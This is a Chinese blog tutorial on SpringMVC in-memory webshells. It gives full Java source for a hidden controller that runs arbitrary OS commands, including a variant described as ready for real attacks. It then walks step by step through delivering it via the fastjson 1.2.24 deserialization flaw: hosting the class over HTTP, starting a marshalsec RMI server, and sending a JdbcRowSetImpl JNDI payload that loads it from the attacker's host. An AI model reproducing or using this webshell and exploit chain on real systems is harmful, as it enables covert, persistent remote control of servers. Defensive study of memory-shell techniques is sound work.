Java内存马系列 | SpringMVC内存马 - 下 | SpringMVC 内存马分析

Java内存马_SpringMVC 内存马

Servlet 能做内存马,Controller 当然也能做,不过 SpringMVC 可以在运行时动态添加 Controller 吗?答案是肯定的。在动态注册 Servlet 时,注册了两个东西,一个是 Servlet 的本身实现,一个 Servlet 与 URL 的映射 Servlet-Mapping,在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射。

SpringMVC内存马demo(非实战使用)

注意:以下内存马是在项目中启动加载的,不是实战时打入的内存马,这里只做分析原理使用

package com.leyilea.springmemshell;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@RestController
public class TestEvilController {

    private String getRandomString() {
        String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        StringBuilder randomString = new StringBuilder();
        for (int i = 0; i < 8; i++) {
            int index = (int) (Math.random() * characters.length());
            randomString.append(characters.charAt(index));
        }
        return randomString.toString();
    }

    @RequestMapping("/inject")
    public String inject() throws Exception{
        String controllerName = "/" + getRandomString();
        PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);
        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);
        InjectedController injectedController = new InjectedController();
        Method method = InjectedController.class.getMethod("cmd");
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        requestMappingHandlerMapping.registerMapping(info, injectedController, method);
        return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" + controllerName + "?cmd=ipconfig";
    }

    @RestController
    public static class InjectedController {

        public InjectedController(){
        }

        public void cmd() throws Exception {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            response.setCharacterEncoding("GBK");
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                response.getWriter().close();
            }
        }
    }
}

SpringMVC内存马demo代码分析

其中最重要的是这段代码:

@RequestMapping("/inject")
public String inject() throws Exception{
    // 创建一个随机路径,作为请求路径
    String controllerName = "/" + getRandomString();

    // 实例化一个 RequestMappingInfo 对象,传入urlPattern、condition
    PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);
    RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
    RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);
    
    // 实例化一个 恶意类InjectedController对象
    InjectedController injectedController = new InjectedController();
    
    // 通过反射获取到 registerMapping 需要用到的 method 对象
    Method method = InjectedController.class.getMethod("cmd");
    
    // 获取 WebApplicationContext 对象
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 通过 context 获取到 requestMappingHandlerMapping
    RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 通过 requestMappingHandlerMapping 的 registerMapping方法 注册 mapping
    // 需要3个参数
    //    org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping,
    //    Object handler,
    //    java.lang.reflect.Method method
    requestMappingHandlerMapping.registerMapping(info, injectedController, method);
    return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" + controllerName + "?cmd=ipconfig";
}

核心就是通过requestMappingHandlerMapping.registerMapping“注册一个mapping”,有了这个“mapping”,我们就可以访问某个路径调用对应的类的方法。注册的时候需要用到3个参数:

  • org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping,
  • Object handler,
  • java.lang.reflect.Method method

其中mapping是RequestMappingInfo对象,handler为注册的类,method为注册的类的方法。

获取所有的requestMapping

为了验证内存中是否多了恶意类的requestMapping,可以对比在注入之前和注入之后查看所有的requestMapping。

@Resource
private RequestMappingHandlerMapping handlerMapping;
@RequestMapping("getMappings")
public String getAllRequestMapping(){
    // 所有URL mapping
    StringBuilder result = new StringBuilder();
    Map<RequestMappingInfo, HandlerMethod> requestMappingInfoHandlerMethodMap = this.handlerMapping.getHandlerMethods();
    Optional.ofNullable(requestMappingInfoHandlerMethodMap).ifPresent(map -> {
        map.forEach((requestMappingInfo, handlerMethod) -> {
            System.out.println(requestMappingInfo.toString());
            System.out.println(handlerMethod.toString());
            Optional.ofNullable(requestMappingInfo.getPatternsCondition()).ifPresent(patternsRequestCondition -> {
                Optional.ofNullable(patternsRequestCondition.getPatterns()).ifPresent(set -> {
                    set.forEach(s ->{
                                // 解决rest方式 占位符问题 /home/get/{id} 替换为 /home/get/
                                String url = s.replaceAll("\\{.*\\}", "");
                                if(StringUtils.hasLength(url)){
                                    result.append(url + ":" + handlerMethod + "<br>");
                                }
                            }
                    );
                });
            });
        });
    });
    return result.toString();
}

注入之前的所有requestMappings:

注入之后的所有requestMappings:

Fastjson漏洞下打入SpringMVC内存马

1、实战中使用的内存马,可直接使用

其实就是上述说明原理的代码的“动态注册Controller和注册mapping映射”的代码放入到static静态块中,当实例化该恶意类时会自动执行static静态块中的代码,实现内存马的写入。

怎么实例化恶意类?比如反序列化漏洞,如fastjson反序化漏洞加载该恶意类。

1)代码如下

注意:对SpringBoot版本有要求!!坑!!不能太高。

EvilSpringMVC.java

package com.leyilea.springmvcshell;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

public class EvilSpringMVC {

    static {
        // 1. 实例化一个 RequestMappingInfo对象
        PatternsRequestCondition urlPattern = new PatternsRequestCondition("/springMemeShell");
        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
        // 在内存中动态注册controller
        RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition,null,null,null,null,null);
        // 2. 实例化一个恶意类InjectedController
        InjectedController injectedController = new InjectedController();
        // 3. 通过反射获取到 method 对象
        Method method = null;
        try {
            method = InjectedController.class.getMethod("cmd");
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
        // 4. 注册mapping
        // 4.1 获取到WebApplicationContext对象
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 4.2 获取到 requestMappingHandlerMapping 对象
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 4.3 注册mapping
        requestMappingHandlerMapping.registerMapping(info,injectedController,method);
    }
    
    public static class InjectedController{
        // 恶意代码类
        public InjectedController(){}

        // 执行系统命令的函数
        public void cmd() throws Exception{
            System.out.println("已进入cmd()");
            HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
            response.setCharacterEncoding("GBK");
            if(request.getParameter("cmd")!=null){
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if(osType!=null && osType.toLowerCase().contains("win")){
                    isLinux = false;
                }
                String cmd = request.getParameter("cmd");
                String[] cmds = isLinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                response.getWriter().close();
            }
        }

    }

}

2)简单测试下能不能使用

这里可以创建一个测试的类,在其中实例化恶意类,看是否能够打入内存马。如下:

测试类:

将恶意类也放入项目中。

启动SpringMVC项目,浏览器访问http://地址/testEvil执行测试类中的testEvil方法,浏览器页面显示如下:

这样就实例化了恶意类,进而执行恶意类中的static静态代码块,进而注册Controlle和mapping,打入内存马。

接下来访问内存马,看是否可以正常执行系统命令:(这里的路径为恶意代码中指定的/springMemeShell

可以看到,可以成功命令执行,也就是成功打入内存马。

这里只是测试,接下来尝试通过漏洞打入内存马。

2、准备一个fastjson反序列化漏洞环境

注意:环境需要是SpringMVC环境,因为打入的是SpringMVC内存马。

这里使用idea搭建一个简易的Web程序(SpringBoot搭建)

  • 当然也可以使用vulhub搭建靶场(vulhub不直观,所以还是自己写代码搭建)

FastjsonController代码如下:

package com.l3yiasec.fastjsonspringboot.controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.springframework.web.bind.annotation.*;

@RestController
public class FastjsonController {

    @RequestMapping(value = "/test1",method = RequestMethod.POST)
    @ResponseBody
    public String test1(@RequestBody String  data){
        System.out.println(data);
        JSONObject jsonObject = JSON.parseObject(data);
        System.out.println(jsonObject);
        return jsonObject.toString();
    }
}

pom.xml中将fastjson修改为含有漏洞的版本,比如1.2.24

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

启动服务,使用浏览器访问,效果如图(此页面就是spring的404页面)

访问路由,使用burpsuite抓包,将请求方式修改为POST

3、搭建恶意站点

1)将恶意的.java文件编译成.class文件(恶意类)

EvilSpringMVC.java文件代码略,看第1步。

编译命令如下:

javac  .\EvilSpringMVC.java

生成EvilSpringMVC.class文件,但是这里注意因为文件内有导入其他jar包,所以javac直接编译会报错。

这里使用idea编译,新建一个空的maven项目,将EvilSpringMVC.java放入到java目录下,使用mevan的编译工具编译成EvilSpringMVC.class文件。

注意1:java需使用1.8版本

注意2:.java文件中不要带有package ***;

注意3:需要将EvilSpringMVC.java放在java包下。

注意这里生产了两个.class文件,因为我们写的马中含有另外一个类。

2)搭建http服务,将.class文件放入网站根目录

搭建http服务可以使用很多方式,这里使用python快速搭建

python -m http.server 8888

此时访问该恶意站点服务器,可以访问当.class文件:

4、使用marshalsec启动rmi服务

marshalsec项目下载地址:https://github.com/mbechler/marshalsec

marshalsec-master.zip

这款神器,可以快速开启RMI和LDAP服务。

1)编译.jar文件

在marshalsec项目目录下(pom.xml所在目录)执行命令编译.jar文件

mvn clean package -DskipTests

生成的文件在target目录下,如下图

或者使用别人编译打包好的https://github.com/RandomRobbieBF/marshalsec-jar

marshalsec-0.0.3-SNAPSHOT-all.jar

2)执行命令,启动rmi服务
java  -cp  marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer  "http://IP地址:端口号/#class文件名"   RMI服务端口号

5、发送payload,加载恶意类,打入内存马

在没有发送payload之前,测试访问内存马地址,出现404:

payload如下:

Content-Type: application/json

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://RMI服务器IP:端口/exploit",
        "autoCommit":true
    }
}

注意此处的exploit,为.class文件名(不带.class),即EvilSpringMVC

此时rmi服务器显示:

http服务器显示:

6、访问内存马,成功执行任意命令

SpringMVC内存马的实战打入总结

  • 整体漏洞利用+写入内存马的执行流程是:
    • 1)发送payload,即json数据,存在恶意rmi或ladp服务地址(fastjson漏洞)
    • 2)服务器收到payload之后,解析payload(fastjson功能),反序列化com.sun.rowset.JdbcRowSetImpl类,触发访问rmi或ldap服务的功能
    • 3)从rmi或ldap服务器请求了恶意的class文件,即内存马class文件,加载到受害者服务器中
    • 4)受害者服务器执行class文件代码,触发动态注册Controller等代码,在服务其中动态注册了恶意的Controller和映射
    • 5)攻击者访问内存马路径地址,带上相应参数,会触发SpringMVC的mapping映射,找到对应的恶意Controller的特定方法,进而执行系统命令。
  • 这里使用ldap服务打入也是可以的。

!!!闭坑指南!!!

坑1:

访问内存马时出现这个报错,是因为该内存马对SpringBoot版本有要求,不能太高,经测试SpringBoot版本需要小于2.6.0。

修改springboot版本可以在pom.xml文件中修改

坑2:

这里使用fastjson 1.2.24版本的反序列漏洞,jdk版本需要使用1.8_102才能成功。

参考链接

https://blog.csdn.net/MachineGunJoe/article/details/131555916

https://blog.csdn.net/weixin_46318447/article/details/139520192

https://www.freebuf.com/vuls/346315.html

Java内存马-SpringMVC篇_expected parsed requestpath in request attribute "-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值